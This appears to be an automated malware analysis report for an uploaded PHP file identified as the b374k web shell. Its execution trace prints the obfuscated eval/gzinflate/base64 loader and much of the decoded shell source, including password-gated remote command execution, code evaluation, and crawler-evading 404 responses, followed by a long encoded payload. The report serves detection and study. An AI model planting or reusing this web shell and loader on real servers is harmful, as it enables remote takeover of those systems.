PHP Malware Analysis

leb.php

md5: cc8d0f697435783610a4c17278e3c51c

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title

URLs
  • http://code.google.com/p/b374k-shell (Original)


Deobfuscated PHP code

Failed to deobfuscate code

Execution traces

data/traces/cc8d0f697435783610a4c17278e3c51c_trace-1676242779.7337.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 21:00:05.631533]
1	0	1	0.000144	393512
1	3	0	0.000778	496560	{main}	1		/var/www/html/uploads/leb.php	0	0
1		A						/var/www/html/uploads/leb.php	9	$s_pass = 'fb621f5060b9f65acf8eb4232e3024140dea2b34'
1		A						/var/www/html/uploads/leb.php	10	$s_func = 'create_function'
2	4	0	0.000828	496560	create_function	0		/var/www/html/uploads/leb.php	10	2	'$x,$y'	'eval("\\$s_pass=\\"$y\\";?>".gzinflate( base64_decode($x)));'
3	5	0	0.000864	498416	{internal eval}	1		/var/www/html/uploads/leb.php	10	0
3	5	1	0.000878	498416
3	5	R			NULL
2	4	1	0.000893	497848
2	4	R			'\000lambda_9'
1		A						/var/www/html/uploads/leb.php	10	$b374k = '\000lambda_9'
2	6	0	0.000922	497784	__lambda_func	1		/var/www/html/uploads/leb.php	10	2	'rP2HruxcliaIvUpOojGVJZaa3k0biQwygt77gZCg995TNe8u/plV3dVGM4Ag3IsbQW7Dvfda6zPnnhPnP/4/pmr6079b/3rky5/+05/+jPx76s//4Y/rrd66/I87CUpi7Z/+/O//3udvbd1Y1sPbo/+jA0pA0J/+b39CsPcf8m/NWZ7s5dtSxN2a/4c//T/H5K/rFi/bX/7xvVjz7W8j/9rVfb39BfrjXj3Uf33v/+Ufqq3v/povy7is//BP/wD9wx+NaZfHyzt+S+O0yv+YI8uLesj/8g+c/Q//9CdOtPiPo1vhX23eYCzmfft2+Xd/NXTbedfwx+jhL3+//Nv9H/9vb79Xf7v70XVZ5P9Nw99v/H2E8d6PlyW+/9rnS5n/y2z/9Kf/Ovzfdomnv/x52f/8t2bjba2Lv/zrmfzj//tPf9vcX5d8GpetHsq/8H/lLUu3/vTPf+L/6jOWJmq/v71/t2Lzf3un6Y744f+bY8rqdereZ/2Xk4L/4b9pf+Pz'	'fb621f5060b9f65acf8eb4232e3024140dea2b34'
3	7	0	0.001009	497864	base64_decode	0		/var/www/html/uploads/leb.php(10) : runtime-created function	1	1	'rP2HruxcliaIvUpOojGVJZaa3k0biQwygt77gZCg995TNe8u/plV3dVGM4Ag3IsbQW7Dvfda6zPnnhPnP/4/pmr6079b/3rky5/+05/+jPx76s//4Y/rrd66/I87CUpi7Z/+/O//3udvbd1Y1sPbo/+jA0pA0J/+b39CsPcf8m/NWZ7s5dtSxN2a/4c//T/H5K/rFi/bX/7xvVjz7W8j/9rVfb39BfrjXj3Uf33v/+Ufqq3v/povy7is//BP/wD9wx+NaZfHyzt+S+O0yv+YI8uLesj/8g+c/Q//9CdOtPiPo1vhX23eYCzmfft2+Xd/NXTbedfwx+jhL3+//Nv9H/9vb79Xf7v70XVZ5P9Nw99v/H2E8d6PlyW+/9rnS5n/y2z/9Kf/Ovzfdomnv/x52f/8t2bjba2Lv/zrmfzj//tPf9vcX5d8GpetHsq/8H/lLUu3/vTPf+L/6jOWJmq/v71/t2Lzf3un6Y744f+bY8rqdereZ/2Xk4L/4b9pf+Pz'
3	7	1	0.001325	600296
3	7	R			'�����\\�&��JN�1�%���M\033�\f2�������S5�.��U��F3� ܋\033Aný�Z�3�\023�?�?�j�ӿ[�z�˟�ӟ���{����޺��;\tJb�����om�X��ۣ��\003J@П�oB��\037�o�Y����R�ݚ��?�?���\026/�_��X��o#���}��\005��^=�}��\037���/˸���O�\000��\037�i���;~K���#ˋz��\017��\017��\'N����[�_m�`,�}�v�w5t�y�����/���\037�oo�W���uY�M��o�}��ޏ�%����K���l��:��v����y���f�m������O��_�|\032��\036ʿ��-K������3�&j����b�{���c��u��g������i��ߵ\025㒿���-5^��������]]���oK��{�\037���w+�R\017�_���?�i[���!O��O���\02'
3	8	0	0.002672	600264	gzinflate	0		/var/www/html/uploads/leb.php(10) : runtime-created function	1	1	'�����\\�&��JN�1�%���M\033�\f2�������S5�.��U��F3� ܋\033Aný�Z�3�\023�?�?�j�ӿ[�z�˟�ӟ���{����޺��;\tJb�����om�X��ۣ��\003J@П�oB��\037�o�Y����R�ݚ��?�?���\026/�_��X��o#���}��\005��^=�}��\037���/˸���O�\000��\037�i���;~K���#ˋz��\017��\017��\'N����[�_m�`,�}�v�w5t�y�����/���\037�oo�W���uY�M��o�}��ޏ�%����K���l��:��v����y���f�m������O��_�|\032��\036ʿ��-K������3�&j����b�{���c��u��g������i��ߵ\025㒿���-5^��������]]���oK��{�\037���w+�R\017�_���?�i[���!O��O���\02'
3	8	1	0.004583	764136
3	8	R			'<?php $s_ver = "2.8"; $s_title = "b374k ".$s_ver; $s_login_time = 3600 * 24 * 7; $s_debug = false; @ob_start(); @set_time_limit(0); @ini_set(\'html_errors\',\'0\'); @clearstatcache(); define(\'DS\', DIRECTORY_SEPARATOR); $_POST = clean($_POST); $_GET = clean($_GET); $_COOKIE = clean($_COOKIE); $_GP = array_merge($_POST, $_GET); $_GP = array_map("ru", $_GP); if($s_debug){ error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'display_errors\',\'1\'); @ini_set(\'log_errors\',\'1\'); foreach($_G'
3	9	0	0.009371	1442120	eval	1	'$s_pass="fb621f5060b9f65acf8eb4232e3024140dea2b34";?><?php $s_ver = "2.8"; $s_title = "b374k ".$s_ver; $s_login_time = 3600 * 24 * 7; $s_debug = false; @ob_start(); @set_time_limit(0); @ini_set(\'html_errors\',\'0\'); @clearstatcache(); define(\'DS\', DIRECTORY_SEPARATOR); $_POST = clean($_POST); $_GET = clean($_GET); $_COOKIE = clean($_COOKIE); $_GP = array_merge($_POST, $_GET); $_GP = array_map("ru", $_GP); if($s_debug){ error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); @ini_set(\'display_errors\',\'1\'); @ini_set(\'log_errors\',\'1\'); foreach($_GP as $k=>$v){ if(is_array($v)) $v = print_r($v, true); echo "<span>".hss($k."=>".$v)."</span><br />"; } } else{ error_reporting(0); @ini_set(\'display_errors\',\'0\'); @ini_set(\'log_errors\',\'0\'); } $s_auth = false; if(strlen(trim($s_pass))>0){ if(isset($_COOKIE[\'b374k\'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE[\'b374k\']))) $s_auth = true; } if(isset($_GP[\'login\'])){ $s_login = kript($_GP[\'login\']); if(strtolower(trim($s_pass)) == $s_login){ setcookie("b374k",$s_login,time() + $s_login_time); $s_auth = true; } } if(isset($_GP[\'x\']) && ($_GP[\'x\']==\'logout\')){ $persist = array("theme", "cwd"); $s_reload = (isset($_COOKIE[\'b374k_included\']) && isset($_COOKIE[\'s_home\']))? rtrim(urldecode($_COOKIE[\'s_self\']),"&"):""; foreach($_COOKIE as $s_k=>$s_v){ if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time); } $s_auth = false; if(!empty($s_reload)) header("Location: ".$s_reload); } } else $s_auth = true; if(!empty($_GP[\'s_pass\'])){ if(strtolower(trim($s_pass)) == strtolower(trim($_GP[\'s_pass\']))){ if(isset($_GP[\'cmd\'])) echo exe(base64_decode($_GP[\'cmd\'])); elseif(isset($_GP[\'eval\'])){ $s_code = base64_decode($_GP[\'eval\']); ob_start(); eval($s_code); $s_res = ob_get_contents(); ob_end_clean(); echo $s_res; } else echo $s_title; } die(); } if(isset($_SERVER[\'HTTP_USER_AGENT\']) && (preg_match(\'/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i\', $_SERVER[\'HTTP_USER_AGENT\']))){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } elseif(!isset($_SERVER[\'HTTP_USER_AGENT\'])){ header("HTTP/1.0 404 Not Found"); header("Status: 404 Not Found"); die(); } $s_css = "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